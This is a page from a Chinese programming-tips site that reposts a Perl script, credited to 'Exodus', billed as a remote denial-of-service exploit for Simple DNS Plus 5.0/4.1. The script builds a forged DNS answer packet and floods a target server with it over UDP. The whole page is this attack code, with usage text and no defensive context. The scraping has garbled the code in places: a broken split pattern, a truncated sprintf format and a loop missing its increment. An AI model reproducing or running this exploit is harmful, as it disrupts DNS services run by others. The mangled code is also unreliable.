欢迎来到福编程网,本站提供各种互联网专业知识!

Simple DNS Plus

发布时间:1970-01-01 作者:佚名 来源:互联网
#!/usr/bin/perl#SimpleDNSPlus5.0/4.1<remoteDenialofServiceexploit##usage:sdns-dos.pl<dnsserver><dnssourceport><numofpackets>#ExploitwrittenbyExodus.#http://www.blackhat.org.iluseIO
#!/usr/bin/perl

# Simple DNS Plus 5.0/4.1 < remote Denial of Service exploit

#

# usage: sdns-dos.pl

# Exploit written by Exodus.

# http://www.blackhat.org.il use IO::Socket; if(@ARGV < 3){

print("sdns-dos.pl ");

}

$sock = IO::Socket::INET->new(PeerAddr => "$ARGV[0]:$ARGV[1]", Proto => 'UDP') || die("Cant connect DNS server"); $address = $ARGV[0]; $trans = pack("H4","1337");

$flags = pack("B16","1000010110110000");

$question = pack("H4","0001");

$answerRR = pack("H4","0001");

$authorityRR = pack("H4","0000");

$additionlRR = pack("H4","0000");

$type = pack("H4","0001"); # A host name

$class = pack("H4","0001"); # IN @parts = split(/./,$address);

foreach $part (@parts)

{

$packedlen = pack("H2",sprintf("x",length($part)));

$address2 .= $packedlen.$part;

}

$query = $address2. "00" . $type . $class; $aname = pack("H4","c00c");

$atype = pack("H4","0001");

$aclass = pack("H4","0001");

$ttl = pack("H8","0000008d");

$dlen = pack("H4","0004");

$addr = inet_aton("127.0.0.1");

$answer = $aname . $atype . $aclass . $ttl . $dlen . $addr; $payload = $trans . $flags . $question . $answerRR

. $authorityRR . $additionlRR . $query . $answer; print "sending $ARGV[2] packets… ";

for($i=0;$i<=$ARGV[2];$i )

{

print $sock $payload;

}

print "Done. Good bye.";

__END__

相关推荐